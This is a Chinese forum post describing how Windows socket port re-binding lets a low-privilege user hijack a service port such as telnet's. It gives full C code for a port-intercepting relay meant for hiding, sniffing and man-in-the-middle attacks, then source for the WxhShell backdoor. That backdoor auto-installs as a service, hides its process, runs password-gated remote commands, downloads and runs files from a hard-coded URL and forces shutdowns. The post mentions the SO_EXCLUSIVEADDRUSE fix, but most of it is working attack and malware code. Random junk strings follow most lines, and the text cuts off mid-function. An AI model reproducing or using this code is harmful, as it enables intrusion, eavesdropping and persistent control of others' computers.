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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5T?esF<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 60KhwD1  
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  saddr.sin_family = AF_INET; N=J$+  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~7$E\w6  
SST1vzm!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /5^"n4/M  
k}-@N;zq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p@H]F<  
c+PT"/3  
  这意味着什么?意味着可以进行如下的攻击: >#}MDwKZD  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >hcA:\UPk  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )3_I-Ia  
t.sbfLu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 __p\`3(,'  
E DuLgg@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Qe=,EXf  
]:CU.M1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8(R%?> 8  
ueO&%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {C>.fg%t  
7Y$#* 7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "4c ?hH:C  
Ue:'55  
  #include {R[FwB^7wJ  
  #include F|K=].  
  #include rn^ 7B-V  
  #include    O>)<w Ms`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z% 3]  
  int main() Ekx3GM_]  
  { o]0v#2l'  
  WORD wVersionRequested;  _6a+" p  
  DWORD ret; K~"J<798{  
  WSADATA wsaData; ncg5%(2  
  BOOL val; (Dr g  
  SOCKADDR_IN saddr; e)dPv:oK3  
  SOCKADDR_IN scaddr; l4+!H\2  
  int err; NET?Ep  
  SOCKET s; JcsJfTI  
  SOCKET sc; (lwrk(  
  int caddsize; <rUH\z5cP  
  HANDLE mt; QUL^]6$  
  DWORD tid;   @OOnO+g  
  wVersionRequested = MAKEWORD( 2, 2 ); 7n*,L5%?]4  
  err = WSAStartup( wVersionRequested, &wsaData ); 9-;ujl?{  
  if ( err != 0 ) { R<VNbm;  
  printf("error!WSAStartup failed!\n"); -.A%c(|Q  
  return -1; P(I`^x  
  } 'P{0K?{H-4  
  saddr.sin_family = AF_INET; Fw!wSzsk3  
   Qmxe*@{`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 70,V>=aJ  
Dm=t`_DL8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^|^ek  
  saddr.sin_port = htons(23); :34#z.O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;seD{y7!  
  { %4#,y(dO  
  printf("error!socket failed!\n"); rj[2XIO  
  return -1; 0z) 8i P  
  } O)nLV~X  
  val = TRUE; Js7(TFQE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 " , c1z\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >r%L=22+  
  { "KQ3EI/g  
  printf("error!setsockopt failed!\n"); dR"H,$UH  
  return -1; 5b X*8H D  
  } !@mV$nTA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dkTj KV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T"1H%65`V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <ijf':X=*  
1@Dp<Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3V:{_~~  
  { 44 bTx y  
  ret=GetLastError(); }qy,/<R  
  printf("error!bind failed!\n"); ~m^.&mv3/  
  return -1; ~ZeF5  
  } sg"J00  
  listen(s,2); FQ dz":5  
  while(1) 7%?2>t3~  
  { 7'wt/9  
  caddsize = sizeof(scaddr); WAPN,WuW  
  //接受连接请求 :.kc1_veYS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (_G&S~@.  
  if(sc!=INVALID_SOCKET) [+0rlmB  
  { Va^Y3/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z;kRQ  
  if(mt==NULL) )1Rn;(j9Re  
  { F"2v5F@  
  printf("Thread Creat Failed!\n"); mdxa^#w  
  break; p2T%Zl_  
  } % 1Y!|306  
  } ( ON n{12Q  
  CloseHandle(mt); L[\m{gN  
  } n1OxT"tD  
  closesocket(s); .kpL?_  
  WSACleanup(); `N$:QWJ  
  return 0; 3nb&Z_/e  
  }   VW^6qf/,  
  DWORD WINAPI ClientThread(LPVOID lpParam) ConXP\M-  
  { y,{=*2Yt  
  SOCKET ss = (SOCKET)lpParam; _@I8B  
  SOCKET sc; C/Vs+aW n  
  unsigned char buf[4096]; +`pS 7d  
  SOCKADDR_IN saddr; gL%%2 }$  
  long num;  zjVBMqdD  
  DWORD val; *Ag</g@ h  
  DWORD ret; AR9D;YfR~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j)4:*R.Z]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +_Nr a  
  saddr.sin_family = AF_INET; ,ra!O=d~0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S a5+_TW  
  saddr.sin_port = htons(23); 4yhan/zA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^LfN6{  
  { H/8H`9S$  
  printf("error!socket failed!\n"); <CrNDY  
  return -1; ACQc 0:q  
  } mQ 1)d5  
  val = 100; uC{qaMQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dQUZ11  
  { X0<qG  
  ret = GetLastError(); P:GAJ->;]>  
  return -1; *^j'G^n  
  } R`}C/'Ty  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7_Yxz$m  
  { I&9_F% rX  
  ret = GetLastError(); "YU<CO;4VV  
  return -1;  8bQ\7jb  
  } l*^J}oY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W[trsFP1?  
  { @tQu3Rq@  
  printf("error!socket connect failed!\n"); 3vx5dUgl,  
  closesocket(sc); )?35!s6  
  closesocket(ss); AF ,*bb  
  return -1; HUF],[N  
  } RTN?[`  
  while(1) l1(6*+  
  { 0vN<0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zrt\] h+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o+UCu`7e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +O`3eP`u  
  num = recv(ss,buf,4096,0); <a9<rF =r  
  if(num>0) L%G/%*7;c  
  send(sc,buf,num,0); VyQ@. Lm  
  else if(num==0) H CKD0xx  
  break; ;Du+C%  
  num = recv(sc,buf,4096,0); 8K: RoR  
  if(num>0) T(LqR?xOo  
  send(ss,buf,num,0); !|!k9~v!  
  else if(num==0) ^PwZP;On  
  break; ,;3#}OGg  
  } L$R"?O7  
  closesocket(ss); )xJCH9h  
  closesocket(sc); UQq ,Xq  
  return 0 ; #2*l"3.$.R  
  } t8vR9]n  
GyU9,>|~T  
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========================================================== UC3&:aQ!  
+ucj>g1(#  
下边附上一个代码,,WXhSHELL m |K"I3W$  
_=,\uIrk  
========================================================== h"~i&T h  
nV/8u_  
#include "stdafx.h" kV >[$6  
Q]44A+M]  
#include <stdio.h> }XmrfegF  
#include <string.h> &j}08aK%  
#include <windows.h> ^HS;\8Xvb  
#include <winsock2.h> JONfNb+  
#include <winsvc.h> P X9GiJN"  
#include <urlmon.h> }~W:3A{7;  
fU/&e^, 's  
#pragma comment (lib, "Ws2_32.lib") ibzcO,c  
#pragma comment (lib, "urlmon.lib") n ~c<[  
UCu0Xqf  
#define MAX_USER   100 // 最大客户端连接数 ;_$Q~X  
#define BUF_SOCK   200 // sock buffer @= E~`  
#define KEY_BUFF   255 // 输入 buffer x*`S>_j27=  
&Hz{   
#define REBOOT     0   // 重启 ?L K n  
#define SHUTDOWN   1   // 关机 'SW%EVB  
!sknO53`H`  
#define DEF_PORT   5000 // 监听端口 T]er_n  
/Pbytu);ds  
#define REG_LEN     16   // 注册表键长度 tLH:'"{zx  
#define SVC_LEN     80   // NT服务名长度 m!22tpb  
ye<b`bL2.  
// 从dll定义API GtuA94=!V&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bEQy5AX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %rFR:w`{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x3>ZO.Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lw\+!}8(  
\eF _Xk[  
// wxhshell配置信息 9f#~RY|#m  
struct WSCFG { !+UU[uM  
  int ws_port;         // 监听端口 ~^{>!wU+  
  char ws_passstr[REG_LEN]; // 口令 }l>\D~:M  
  int ws_autoins;       // 安装标记, 1=yes 0=no lpq) vKM}^  
  char ws_regname[REG_LEN]; // 注册表键名 `Wl_yC_*G;  
  char ws_svcname[REG_LEN]; // 服务名 m&PfZ%'[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MZ2/ks  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kC,=E9)O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8=K%7:b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C33BP}c]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hQeGr 2gMq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xNrPj8V<Y  
/M : 7  
}; qw?Wi%t(x8  
uI9eUO  
// default Wxhshell configuration `e`}dgf0S|  
struct WSCFG wscfg={DEF_PORT, D%`O.2T Y|  
    "xuhuanlingzhe", !1b}M/Wx  
    1, Ir\P[A  
    "Wxhshell", E ,kDy:  
    "Wxhshell", Y9 /`w@"v  
            "WxhShell Service", #ORZk6e  
    "Wrsky Windows CmdShell Service", IdS=lN$  
    "Please Input Your Password: ", 'iM#iA8  
  1, "L0Q"t:  
  "http://www.wrsky.com/wxhshell.exe", (U{,D1?  
  "Wxhshell.exe" Z5j\ M  
    }; [S~/lm  
$+k|\+iJ  
// 消息定义模块 z|F38(%JJN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; > `1K0?_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &%UZ"CcA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <~ Dq8If  
char *msg_ws_ext="\n\rExit."; N&uRL_X .  
char *msg_ws_end="\n\rQuit."; BS.5g<E2q  
char *msg_ws_boot="\n\rReboot..."; `K7UWtp  
char *msg_ws_poff="\n\rShutdown..."; 4 -CGe  
char *msg_ws_down="\n\rSave to "; ~GLWhe-  
LULRi#n  
char *msg_ws_err="\n\rErr!"; (+CNs  
char *msg_ws_ok="\n\rOK!"; +F?}<P_v  
tP:ER  
char ExeFile[MAX_PATH]; bMA0#e2  
int nUser = 0; b F MBIA|  
HANDLE handles[MAX_USER]; {X\%7Zef+  
int OsIsNt; lt{D f~c  
\wKnX]xGf  
SERVICE_STATUS       serviceStatus; $$ 9!4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p uZY4}b_  
q)l1tC72  
// 函数声明 mz2v2ma  
int Install(void); >vR7l&"  
int Uninstall(void); 34 '[O  
int DownloadFile(char *sURL, SOCKET wsh); z"D0Th`S6  
int Boot(int flag); #ZC9=  
void HideProc(void); * lJkk  
int GetOsVer(void); { v  [  
int Wxhshell(SOCKET wsl); Al3*? H&  
void TalkWithClient(void *cs); SIZ&0V  
int CmdShell(SOCKET sock); HdR TdV  
int StartFromService(void); >1qum'  
int StartWxhshell(LPSTR lpCmdLine); 8DuD1hZq  
HEk{!Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,rNv}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ihd{tmr<  
o(gV;>I  
// 数据结构和表定义 o zMn8@R  
SERVICE_TABLE_ENTRY DispatchTable[] = fB)S:f|  
{ 7Y%Si5  
{wscfg.ws_svcname, NTServiceMain}, K0{ ,*>C  
{NULL, NULL} n%ypxY0  
}; -l~+cI\2  
P8X59^cJ  
// 自我安装 ei82pLM z  
int Install(void) ]&?8l:3-G  
{ I&%KOe0  
  char svExeFile[MAX_PATH]; Eb7GiRT#  
  HKEY key; "$nff=]  
  strcpy(svExeFile,ExeFile); =D`:2k~ ,  
U+Vb#U7;  
// 如果是win9x系统,修改注册表设为自启动 >|pN4FS  
if(!OsIsNt) { a0jzt!ci  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ydTd.`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sc?q}tt^C  
  RegCloseKey(key); aF{1V \e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =`k', V_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =p[a Cb i  
  RegCloseKey(key); ".{'h  
  return 0; oO^=%Mc(  
    } yf2P6b\  
  } tH(g;flO)  
} cl'wQ1<:   
else { 'si{6t|  
,B:r^(}0j  
// 如果是NT以上系统,安装为系统服务 2BO&OX|X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vawS5b;  
if (schSCManager!=0) _/J`v`}G  
{ 3=("vR`!  
  SC_HANDLE schService = CreateService 'A,)PZL9i  
  ( #]h&GX  
  schSCManager, cR=o!2O  
  wscfg.ws_svcname, cAn_:^  
  wscfg.ws_svcdisp, A[`2Mnj  
  SERVICE_ALL_ACCESS, !-m 'diE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , & h\!#X0  
  SERVICE_AUTO_START, IQWoK"B  
  SERVICE_ERROR_NORMAL, K 8W99:v  
  svExeFile, LMNmG]#!  
  NULL, P VSz%"  
  NULL, t[ZGY,8  
  NULL, y"|gC!V}  
  NULL, C[,&Y&`j  
  NULL K@vU_x0Sl  
  ); 9 /=+2SZ  
  if (schService!=0) i}O.,iH  
  { G8.nKoHv7x  
  CloseServiceHandle(schService); G0he'BR  
  CloseServiceHandle(schSCManager); ^vJy<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A: O"N  
  strcat(svExeFile,wscfg.ws_svcname); zJ_y"bt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SPp|/ [i7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _h I81Lzq  
  RegCloseKey(key); LvMA('4  
  return 0; pV`/6 }  
    } '?6j.ms M  
  } ZA\;9M=  
  CloseServiceHandle(schSCManager); xKkXr-yb`f  
} 8H,k0~D  
} 7b7WQ7u  
!8YA1 o  
return 1; >=86*U~  
} _K B%g_{  
;?v&=Z't.  
// 自我卸载 AzVv- !Y  
int Uninstall(void) uQ%3?bx)T  
{ X6j:TF  
  HKEY key; J(SGaHm@  
* ).YU[i  
if(!OsIsNt) { y@r0"cvz9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J$d']%Dwb  
  RegDeleteValue(key,wscfg.ws_regname); $WO{!R  
  RegCloseKey(key); f VJWW):  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - LB}=  
  RegDeleteValue(key,wscfg.ws_regname); 72vp6/;)  
  RegCloseKey(key); )SJ"IY\P  
  return 0; tNQACM8F;  
  } F_0@S h"  
} #8$" 84&N.  
} O=jzz&E+  
else { 4HpKKhv"  
K'y|_XsBB)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @aP1[(m  
if (schSCManager!=0) :%h|i&B  
{ 0es\ j6c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OlgM7Vrl  
  if (schService!=0) m;0ZV%c*j  
  { 6ld /E  
  if(DeleteService(schService)!=0) { j.[W] EfL~  
  CloseServiceHandle(schService); /6Kx249Dw  
  CloseServiceHandle(schSCManager); m ?*h\NaB  
  return 0; 5?0~7^de  
  } Pj_*,L`mZ  
  CloseServiceHandle(schService); {q^UWv?1  
  } 4(,M&NC  
  CloseServiceHandle(schSCManager); xW7[VTXc^  
} [c XSk  
} j<k-w  
[ P,gEYk  
return 1; vOq N=bp  
} F,V| In  
z6P~HF+&h  
// 从指定url下载文件 *m2?fP\  
int DownloadFile(char *sURL, SOCKET wsh) 3"sXN)j  
{ FF;Fo}no-  
  HRESULT hr; 13 %: 3W(  
char seps[]= "/"; !L<z(dV|(  
char *token; Xpt9$=d  
char *file; Xc4zUEO9  
char myURL[MAX_PATH]; <+<Nsza  
char myFILE[MAX_PATH]; L2wX?NA  
R\<d&+q@  
strcpy(myURL,sURL); XM#nb$gl  
  token=strtok(myURL,seps); ]^Xj!01~  
  while(token!=NULL) FNw]DJ]  
  { z|t2;j[  
    file=token; 8m?cvI  
  token=strtok(NULL,seps); / <%EKu5  
  } 'rq@9$h1W  
$R+rB;=a!  
GetCurrentDirectory(MAX_PATH,myFILE); <AK9HPxP  
strcat(myFILE, "\\"); .Hk.'>YR  
strcat(myFILE, file); R7KV @n  
  send(wsh,myFILE,strlen(myFILE),0); $<"I*l@  
send(wsh,"...",3,0); $/$Hi U`.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6J">@+  
  if(hr==S_OK) F%.UpV,  
return 0; 64vj6 &L  
else Ktu~%)k%  
return 1; nPDoK!r'  
-<sW`HpD'  
} `Y^l.%AZZ  
bcT'!:  
// 系统电源模块 C XNYWx  
int Boot(int flag) GB;_!69I  
{ 'ka$@,s:  
  HANDLE hToken; 9 Q*:II  
  TOKEN_PRIVILEGES tkp; g1:%986jv  
H7k@Br  
  if(OsIsNt) { g9=_^^Tg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \}X[0ct2!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); > 6=3y4tP  
    tkp.PrivilegeCount = 1; ^ 8YBW<9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ))nTd=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oKH+Q6S:  
if(flag==REBOOT) { &C)97E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i g .  
  return 0; P s<k2  
} 5X9Lh_p  
else {  Pa?{}A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fsWIz1K  
  return 0; -f1lu*3\  
} [)kuu  
  } +n$ruoRJh  
  else { ( uG; Q  
if(flag==REBOOT) { gf>GK/^HH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]h=5d09z  
  return 0; @= =)  
} n&DBMU  
else { EXwU{Hl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o wI:Qs_/4  
  return 0; E}THG=6  
} hztqZ:  
} w9mAeGyE  
I$4>_D  
return 1; 'Sesh'2 /  
} X?;iSekI4  
C\OZs%]At  
// win9x进程隐藏模块 Se37-  
void HideProc(void) W}%"xy]N  
{ k+J63+obd  
TA qX f_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z[B:6\oQ  
  if ( hKernel != NULL ) E|jU8qz>P  
  { }`!-WY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ruyQ}b:zS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mNEh\4ai  
    FreeLibrary(hKernel); O%6D2d  
  } u} +?'B)  
c=QN!n:  
return; -@Urq>^v T  
} Qpj[]c5  
ReL+V  
// 获取操作系统版本 *B84Y.df  
int GetOsVer(void) M*C1QQf\N  
{ MmePhHf  
  OSVERSIONINFO winfo; z-:>[Sn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hs_7oy|P  
  GetVersionEx(&winfo); uBn35%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rha|Rk~  
  return 1; 3N|6?'m  
  else E@#<p-@~  
  return 0; A)Rh Bi  
} HgBu:x?&  
SqdI($F\:  
// 客户端句柄模块 r. (}  
int Wxhshell(SOCKET wsl) 7$t['2j3  
{ wA)n ryXV  
  SOCKET wsh; OVc)PMp  
  struct sockaddr_in client; 2-W y@\  
  DWORD myID; >oaL-01i  
o^MoU2c  
  while(nUser<MAX_USER) ZU;jz[}  
{ F6b;qb6n  
  int nSize=sizeof(client); }qWB=,8HQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]0MuXiR  
  if(wsh==INVALID_SOCKET) return 1; p=zTY7L  
y~\uS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F%af05L[  
if(handles[nUser]==0) rkR~%U6V  
  closesocket(wsh); 5tzO=gO[  
else <`NsX 6t  
  nUser++; 5h Dy62PRr  
  } KmM:V2@A$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NV@$\ <  
m6]6 !_  
  return 0; %DA`.Z9 #  
} 9sd}Z,l  
l4(FM}0X5}  
// 关闭 socket &-X51O C  
void CloseIt(SOCKET wsh) eT]*c?"  
{ ry@p  
closesocket(wsh); ^tI&5S]nE  
nUser--; <[K)PI  
ExitThread(0); m|t\w|B2  
} N:S2X+}(  
$|T Lt{ K  
// 客户端请求句柄 6Z2|j~  
void TalkWithClient(void *cs) 9_e_Ne`i`?  
{ 3(vm'r&5n>  
='_3qn.  
  SOCKET wsh=(SOCKET)cs; i\gt @  
  char pwd[SVC_LEN]; qDz[=6BF  
  char cmd[KEY_BUFF]; ir>+p>s.  
char chr[1]; |F<%gJ  
int i,j; vts"  
81!;Wt(?  
  while (nUser < MAX_USER) { o)x&|0_  
<RY!Mc  
if(wscfg.ws_passstr) { v&3" (fp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W:6#0b"_#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 25 :vc0  
  //ZeroMemory(pwd,KEY_BUFF); n%i L+I  
      i=0; `D$^SHfyz  
  while(i<SVC_LEN) { z"QXPIXPk  
yLK %lP  
  // 设置超时 &0"*.:J9  
  fd_set FdRead; &^uaoB0  
  struct timeval TimeOut; G;ZN>8NB  
  FD_ZERO(&FdRead); f5l\3oL  
  FD_SET(wsh,&FdRead); [p}~M-$V8Y  
  TimeOut.tv_sec=8; e"XolM0IM  
  TimeOut.tv_usec=0; Wm5[+z|2?9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QnS#"hc\a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *M0O&"~j  
`P-d. M6Oa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W1t_P&i  
  pwd=chr[0]; 3>73s}3  
  if(chr[0]==0xd || chr[0]==0xa) { L~by`q N_  
  pwd=0; jG)66E*"  
  break; rOO10g  
  } bFlI:R&<  
  i++; .;.Zbhm  
    } 5MZv!N   
UvB\kIH  
  // 如果是非法用户,关闭 socket ]#rV]As  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OL:hNbw'~T  
} !?Y71:_!  
{4f%UnSz(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q u7ML]e?z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5 wN)N~JE  
PYY<  
while(1) { ! r/~D |  
G\,B*$3   
  ZeroMemory(cmd,KEY_BUFF); AN[pjC<  
pS7y3(_  
      // 自动支持客户端 telnet标准   61OlnmvE  
  j=0; Gl45HyY_  
  while(j<KEY_BUFF) { I,,SR"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aRI.&3-  
  cmd[j]=chr[0]; 99,=dzm  
  if(chr[0]==0xa || chr[0]==0xd) { D!Nc&|X^  
  cmd[j]=0; .h4Z\R`  
  break; v)nv"o[  
  } X}C8!LA  
  j++; .*>C[^  
    } X.,R%>O}`P  
a|3+AWL%  
  // 下载文件 >9#) obw  
  if(strstr(cmd,"http://")) { =?wDQ:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QR8]d1+GV  
  if(DownloadFile(cmd,wsh)) nGc'xQy0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PU B0H  
  else )J+rt^4|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Q~W}`Qv'  
  } $#W^JWN1  
  else { TlX:05/V8  
]VtP7 Y  
    switch(cmd[0]) { KbK!4  
  <mTo54g  
  // 帮助 YN:Sn\`D 8  
  case '?': {  CWYOzqf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qt"6~r!  
    break; vk(I7  
  } 7M5H vG#w%  
  // 安装 a\Gd;C ^`  
  case 'i': { Nl%5OBm  
    if(Install()) Ukf:m&G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0JR)-*  
    else )"M;7W?R0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XtBEVqrhi  
    break; U7f o4y1}  
    } _+7P"B|\  
  // 卸载 mL'A$BR`  
  case 'r': { QyZ' %T5J  
    if(Uninstall()) Nt?=0X|M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r;H#cMj  
    else `022gHYv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _,UYbD\[J}  
    break; 6U%d3"T  
    } 1<lf o^B  
  // 显示 wxhshell 所在路径 CD^@*jH9"  
  case 'p': { '@\[U0?@K  
    char svExeFile[MAX_PATH]; US9@/V*2  
    strcpy(svExeFile,"\n\r");  w+5OI9  
      strcat(svExeFile,ExeFile); iXXaB +w  
        send(wsh,svExeFile,strlen(svExeFile),0); Xq ew~R^MP  
    break; *UN*&DmF  
    } ^"vmIC.h  
  // 重启 -qpM 6t  
  case 'b': { '%*hs8s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6Iz!_  
    if(Boot(REBOOT)) pI>GusXg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O<Ay`p5  
    else { ! /|B4Yv  
    closesocket(wsh); Ag2Q!cq  
    ExitThread(0); H/8u?OC  
    } (R RRG;*n#  
    break; 6!*zgA5M'  
    }  z{V#_(  
  // 关机 Zc&pJP+M'U  
  case 'd': { |gINB3L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qxZf!NX5  
    if(Boot(SHUTDOWN)) np}0O  X  
